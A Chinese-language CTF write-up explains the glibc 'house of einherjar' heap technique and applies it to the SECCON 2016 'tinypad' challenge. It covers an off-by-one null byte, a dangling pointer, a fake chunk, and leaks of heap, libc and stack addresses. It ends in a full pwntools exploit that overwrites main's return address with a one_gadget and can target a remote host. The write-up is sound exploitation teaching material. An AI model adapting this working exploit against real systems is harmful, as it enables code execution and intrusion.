house of einherjar

和house of force很像,都是篡改top chunk。

off-by-one覆盖victim chunk的pre_in_use位,并修改victim->pre_size为距离目标地址的大小,在目标地址处伪造chunk,释放victim时,发生backward consolidate,合并到目标地址。

victim需要临近top chunk,backward consolidate结束,接着与top chunk进行forward consolidate。如果不这样,这个块被放入unsorted bin,而在unsorted bin中分配会过不了以下检查。

1
2
3
4
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");

SECON2016 tinypad

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

分析

1
2
3
4
[A] Add memo
[D] Delete memo
[E] Edit memo
[Q] Quit

程序有一个tinypad全局变量,前0x100字节当做临时区域,后0x40存放一个结构体数组,结构体如下所示

image-20200723104723145

Add:输入size,最大为0x100。后使用read_until读入数据,read_until中存在null byte off-by-one。

Delete:输入所要删除索引,释放空间,size置0。没有将指针置0,这里存在指针悬空。

Edit:对数据内容进行修改,使用strcpy拷贝到tinypad处,所以如果有\x00,这里会产生截断。且能够读入的大小为其字符串长度。

总体思路

使用house of einherjar,通过指针悬空泄露堆地址,在tinypad处构造fakechunk。分配得到tinypad后0x40字节,在此处通过got泄露libc base,读出栈地址,将main函数返回地址修改为one gadget。

由于edit memo的特殊性,所以没办法对诸如__free_hook这样的进行修改,从而想到通过libc中的environ泄露栈地址,修改函数返回地址,而且main函数的返回地址在__libc_start_main附近,它的地址有效字节长度和所需的一致。

house of einherjar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tinypad    = 0x602040
one_gadget = 0x40d82

add(0x28, "\n") # memo 1: 0x30
add(0x28, "\n") # memo 2: 0x30
add(0xf8, "\n") # memo 3: 0x100
add(0x80, "\n") # memo 4: 0x90
delete(2)
delete(1)
delete(3)

io.recvuntil(" # INDEX: 1\n # CONTENT: ")
heap_addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))
heap_base = heap_addr & (~0xfff)
fake_size = heap_base + 0x30 + 0x30 - tinypad

程序存在指针悬空,通过两次释放同样大小的fastbin chunk,第二次释放的chunk->fd处就存有了heap地址(因为fastbin头插头取)。然后计算fake size。

memo 3:为目标chunk,溢出覆盖的就是它的pre_in_use,而且将它的chunk size控制在0x100,避免影响其后续与top chunk的合并。

memo4:避免delete(3)后,此时就与top chunk合并。同时不能是fastbin大小,要保证后续delete(4)后,其与top chunk进行合并。

1
2
3
4
5
6
7
add(0xf8, "\n")                                 # memo 1: 0x100
add(0x28, "\n") # memo 2: 0x30
add(0x28, b"A"*0x20+p64(fake_size) + b"\n") # memo 3: 0x30

edit(3, p64(0)+p64(fake_size)+p64(tinypad)+p64(tinypad) + b"\x00"*8 + b"\n")
delete(4) # consolidate with top chunk, avoid malloc unsorted bin check error
delete(1)

先分配处0xf8,而后使用临近的块溢出,在tinypad处构造fake chunk,释放memo4和memo1,先后与top chunk进行合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# leak libc
add(0xe8, "\n")
add(0x40, p64(0x1) + p64(tinypad+0x100) + p64(0x1) + p64(elf.got["strlen"]) + p64(0)*4 + b"\n")
add(0x40, "\n") # avoid free error
io.recvuntil(" # INDEX: 2\n # CONTENT: ")
libc_addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))
libc_base = libc_addr - 0x14CBC0
delete(1)

# leak stack
# gdb.attach(io, "b *0x4009BC")
add(0x40, p64(0x1) + p64(tinypad+0x100) + p64(0x1) + p64(libc_base+libc.sym["environ"]) + p64(0)*4 + b"\n")
io.recvuntil(" # INDEX: 2\n # CONTENT: ")
stack_addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))
mainret_addr = stack_addr - 0xf0
delete(1)

# edit return address
add(0x40, p64(0x1) + p64(tinypad+0x100) + p64(0x1) + p64(mainret_addr) + p64(0)*4 + b"\n")
edit(2, p64(libc_base+one_gadget) + b"\n")

io.recvuntil("(CMD)>>> ")
io.sendline("Q")

分配得到数组处的地址,多次释放分配这个数组,来对它进行修改。

直接释放tinypad+0x100,在对后一个chunk的检查会出错,使用add(0x40, "\n")分配一个合法的后一个chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 释放fastbin大小对后一个chunk的检查
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}

if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}

// 释放非fastbin大小对后一个chunk的检查
if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");

exploit

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./tinypad"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"

def add(size, content):
io.recvuntil("(CMD)>>> ")
io.sendline("A")
io.recvuntil("(SIZE)>>> ")
io.sendline(str(size))
io.recvuntil("(CONTENT)>>> ")
io.send(content)

def edit(idx, content):
io.recvuntil("(CMD)>>> ")
io.sendline("E")
io.recvuntil("(INDEX)>>> ")
io.sendline(str(idx))
io.recvuntil("(CONTENT)>>> ")
io.send(content)
io.recvuntil("(Y/n)>>> ")
io.sendline("Y")

def delete(idx):
io.recvuntil("(CMD)>>> ")
io.sendline("D")
io.recvuntil("(INDEX)>>> ")
io.sendline(str(idx))

def exp():
tinypad = 0x602040
one_gadget = 0x40d82

add(0x28, "\n") # 1: 0x30
add(0x28, "\n") # 2: 0x30
add(0xf8, "\n") # 3: 0x100
add(0x80, "\n") # 4: 0x90
delete(2)
delete(1)
delete(3)

io.recvuntil(" # INDEX: 1\n # CONTENT: ")
heap_addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))
heap_base = heap_addr & (~0xfff)
fake_size = heap_base + 0x30 + 0x30 - tinypad

add(0xf8, "\n") # 1: 0x100
add(0x28, "\n") # 2: 0x30
add(0x28, b"A"*0x20+p64(fake_size) + b"\n") # 3: 0x30

edit(3, p64(0)+p64(fake_size)+p64(tinypad)+p64(tinypad) + b"\x00"*8 + b"\n")
delete(4) # consolidate with top chunk, avoid malloc unsorted bin check error
delete(1)

add(0xe8, "\n")
add(0x40, p64(0x1) + p64(tinypad+0x100) + p64(0x1) + p64(elf.got["strlen"]) + p64(0)*4 + b"\n")
add(0x40, "\n") # avoid free error
io.recvuntil(" # INDEX: 2\n # CONTENT: ")
libc_addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))
libc_base = libc_addr - 0x14CBC0
delete(1)

# gdb.attach(io, "b *0x4009BC")
add(0x40, p64(0x1) + p64(tinypad+0x100) + p64(0x1) + p64(libc_base+libc.sym["environ"]) + p64(0)*4 + b"\n")
io.recvuntil(" # INDEX: 2\n # CONTENT: ")
stack_addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))
mainret_addr = stack_addr - 0xf0
delete(1)

add(0x40, p64(0x1) + p64(tinypad+0x100) + p64(0x1) + p64(mainret_addr) + p64(0)*4 + b"\n")
edit(2, p64(libc_base+one_gadget) + b"\n")

io.recvuntil("(CMD)>>> ")
io.sendline("Q")

io.interactive()


argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)
elf = ELF(localfile)
libc = ELF(locallibc)
exp()

reference

  1. how2heap house_of_einherjar.c